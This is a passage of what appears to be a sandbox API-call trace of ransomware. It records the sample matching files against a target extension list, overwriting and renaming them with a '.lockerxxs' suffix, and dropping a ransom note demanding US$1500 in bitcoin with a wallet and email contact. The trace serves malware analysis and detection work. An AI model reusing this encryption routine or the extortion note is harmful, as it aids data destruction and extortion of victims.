PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.psd") returned 0 [0090.559] lstrlenA (lpString="*.psd") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.vmx") returned 0 [0090.559] lstrlenA (lpString="*.vmx") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.vmdk") returned 0 [0090.559] lstrlenA (lpString="*.vmdk") returned 6 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.vdi") returned 0 [0090.559] lstrlenA (lpString="*.vdi") returned 5 [0090.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.lay6") returned 0 [0090.559] lstrlenA (lpString="*.lay6") returned 6 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mpeg") returned 0 [0090.560] lstrlenA (lpString="*.mpeg") returned 6 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.djvu") returned 0 [0090.560] lstrlenA (lpString="*.djvu") returned 6 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.tiff") returned 0 [0090.560] lstrlenA (lpString="*.tiff") returned 6 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.backup") returned 0 [0090.560] lstrlenA (lpString="*.backup") returned 8 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.pdf") returned 0 [0090.560] lstrlenA (lpString="*.pdf") returned 5 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.cert") returned 0 [0090.560] lstrlenA (lpString="*.cert") returned 6 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.docm") returned 0 [0090.560] lstrlenA (lpString="*.docm") returned 6 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.xlsm") returned 0 [0090.560] lstrlenA (lpString="*.xlsm") returned 6 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.dwg") returned 0 [0090.560] lstrlenA (lpString="*.dwg") returned 5 [0090.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.nd") returned 0 [0090.561] lstrlenA (lpString="*.nd") returned 4 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.tlg") returned 0 [0090.561] lstrlenA (lpString="*.tlg") returned 5 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.lgb") returned 0 [0090.561] lstrlenA (lpString="*.lgb") returned 5 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mov") returned 0 [0090.561] lstrlenA (lpString="*.mov") returned 5 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.xdw") returned 0 [0090.561] lstrlenA (lpString="*.xdw") returned 5 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.ods") returned 0 [0090.561] lstrlenA (lpString="*.ods") returned 5 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.wav") returned 0 [0090.561] lstrlenA (lpString="*.wav") returned 5 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.mp3") returned 0 [0090.561] lstrlenA (lpString="*.mp3") returned 5 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.aiff") returned 0 [0090.561] lstrlenA (lpString="*.aiff") returned 6 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.flac") returned 0 [0090.561] lstrlenA (lpString="*.flac") returned 6 [0090.561] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", pszSpec="*.m4a") returned 1 [0090.561] lstrlenA (lpString="*.m4a") returned 5 [0090.562] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a" [0090.562] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a" [0090.562] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a." [0090.562] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a.lockerxxs" [0090.562] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\uhyo821dp9ekjrnjc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.563] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x119fe [0090.563] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xe20f54f0, dwHighDateTime=0x1d5de3b), lpLastAccessTime=0x407536*(dwLowDateTime=0xe1eb56d0, dwHighDateTime=0x1d5e50d), lpLastWriteTime=0x40753e*(dwLowDateTime=0xe1eb56d0, dwHighDateTime=0x1d5e50d)) returned 1 [0090.563] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.563] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x119d8, lpOverlapped=0x0) returned 1 [0090.565] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a") returned="uhYO821dp9EkJrNjc.m4a" [0090.566] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.566] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x119d8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x119d8, lpOverlapped=0x0) returned 1 [0090.567] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.567] CloseHandle (hObject=0x90) returned 1 [0090.567] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\uhyo821dp9ekjrnjc.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\uhYO821dp9EkJrNjc.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\uhyo821dp9ekjrnjc.m4a.lockerxxs")) returned 1 [0090.568] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe20f54f0, ftCreationTime.dwHighDateTime=0x1d5de3b, ftLastAccessTime.dwLowDateTime=0xe1eb56d0, ftLastAccessTime.dwHighDateTime=0x1d5e50d, ftLastWriteTime.dwLowDateTime=0xe1eb56d0, ftLastWriteTime.dwHighDateTime=0x1d5e50d, nFileSizeHigh=0x0, nFileSizeLow=0x119fe, dwReserved0=0x2900032a, dwReserved1=0x4e00c4, cFileName="uhYO821dp9EkJrNjc.m4a", cAlternateFileName="UHYO82~1.M4A")) returned 0 [0090.568] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0090.569] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f47760, ftCreationTime.dwHighDateTime=0x1d5e6c8, ftLastAccessTime.dwLowDateTime=0x8fdab860, ftLastAccessTime.dwHighDateTime=0x1d5e420, ftLastWriteTime.dwLowDateTime=0x8fdab860, ftLastWriteTime.dwHighDateTime=0x1d5e420, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="vyO6gAgaFG", cAlternateFileName="VYO6GA~1")) returned 1 [0090.569] lstrcmpA (lpString1=".", lpString2="vyO6gAgaFG") returned -1 [0090.569] lstrcmpA (lpString1="..", lpString2="vyO6gAgaFG") returned -1 [0090.569] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\*.*") returned="*.*" [0090.569] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="vyO6gAgaFG" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG" [0090.569] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG") returned 62 [0090.569] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f47760, ftCreationTime.dwHighDateTime=0x1d5e6c8, ftLastAccessTime.dwLowDateTime=0x8fdab860, ftLastAccessTime.dwHighDateTime=0x1d5e420, ftLastWriteTime.dwLowDateTime=0x8fdab860, ftLastWriteTime.dwHighDateTime=0x1d5e420, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25000326, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0090.569] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.569] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f47760, ftCreationTime.dwHighDateTime=0x1d5e6c8, ftLastAccessTime.dwLowDateTime=0x8fdab860, ftLastAccessTime.dwHighDateTime=0x1d5e420, ftLastWriteTime.dwLowDateTime=0x8fdab860, ftLastWriteTime.dwHighDateTime=0x1d5e420, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.569] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.569] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.569] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59796880, ftCreationTime.dwHighDateTime=0x1d5e726, ftLastAccessTime.dwLowDateTime=0x3f21bf70, ftLastAccessTime.dwHighDateTime=0x1d5e12a, ftLastWriteTime.dwLowDateTime=0x3f21bf70, ftLastWriteTime.dwHighDateTime=0x1d5e12a, nFileSizeHigh=0x0, nFileSizeLow=0x15a49, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5KCNen.m4a", cAlternateFileName="")) returned 1 [0090.569] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.570] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5KCNen.m4a") returned 1 [0090.570] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5KCNen.m4a") returned 1 [0090.570] lstrcmpiA (lpString1="", lpString2="5KCNen.m4a") returned -1 [0090.570] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\*.*") returned="*.*" [0090.570] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" [0090.570] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="" [0090.570] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" [0090.570] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\how to decrypt files.txt")) returned 0xffffffff [0090.570] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.572] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.572] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.574] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.574] CloseHandle (hObject=0x90) returned 1 [0090.574] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="5KCNen.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a" [0090.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.ems") returned 0 [0090.574] lstrlenA (lpString="*.ems") returned 5 [0090.574] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.db") returned 0 [0090.574] lstrlenA (lpString="*.db") returned 4 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.dbf") returned 0 [0090.575] lstrlenA (lpString="*.dbf") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.myox") returned 0 [0090.575] lstrlenA (lpString="*.myox") returned 6 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.myo") returned 0 [0090.575] lstrlenA (lpString="*.myo") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qbw") returned 0 [0090.575] lstrlenA (lpString="*.qbw") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qbb") returned 0 [0090.575] lstrlenA (lpString="*.qbb") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qbm") returned 0 [0090.575] lstrlenA (lpString="*.qbm") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qbo") returned 0 [0090.575] lstrlenA (lpString="*.qbo") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qbx") returned 0 [0090.575] lstrlenA (lpString="*.qbx") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qba") returned 0 [0090.575] lstrlenA (lpString="*.qba") returned 5 [0090.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qby") returned 0 [0090.576] lstrlenA (lpString="*.qby") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qbj") returned 0 [0090.576] lstrlenA (lpString="*.qbj") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.ofx") returned 0 [0090.576] lstrlenA (lpString="*.ofx") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.qif") returned 0 [0090.576] lstrlenA (lpString="*.qif") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mye") returned 0 [0090.576] lstrlenA (lpString="*.mye") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mbox") returned 0 [0090.576] lstrlenA (lpString="*.mbox") returned 6 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.eml") returned 0 [0090.576] lstrlenA (lpString="*.eml") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.pst") returned 0 [0090.576] lstrlenA (lpString="*.pst") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.ost") returned 0 [0090.576] lstrlenA (lpString="*.ost") returned 5 [0090.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.idx") returned 0 [0090.577] lstrlenA (lpString="*.idx") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.dbx") returned 0 [0090.577] lstrlenA (lpString="*.dbx") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.sql") returned 0 [0090.577] lstrlenA (lpString="*.sql") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mdb") returned 0 [0090.577] lstrlenA (lpString="*.mdb") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.fdb") returned 0 [0090.577] lstrlenA (lpString="*.fdb") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.wab") returned 0 [0090.577] lstrlenA (lpString="*.wab") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.dat") returned 0 [0090.577] lstrlenA (lpString="*.dat") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.txt") returned 0 [0090.577] lstrlenA (lpString="*.txt") returned 5 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.jpeg") returned 0 [0090.577] lstrlenA (lpString="*.jpeg") returned 6 [0090.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.jpg") returned 0 [0090.577] lstrlenA (lpString="*.jpg") returned 5 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.png") returned 0 [0090.578] lstrlenA (lpString="*.png") returned 5 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.php") returned 0 [0090.578] lstrlenA (lpString="*.php") returned 5 [0090.578] PathMatchSpecA 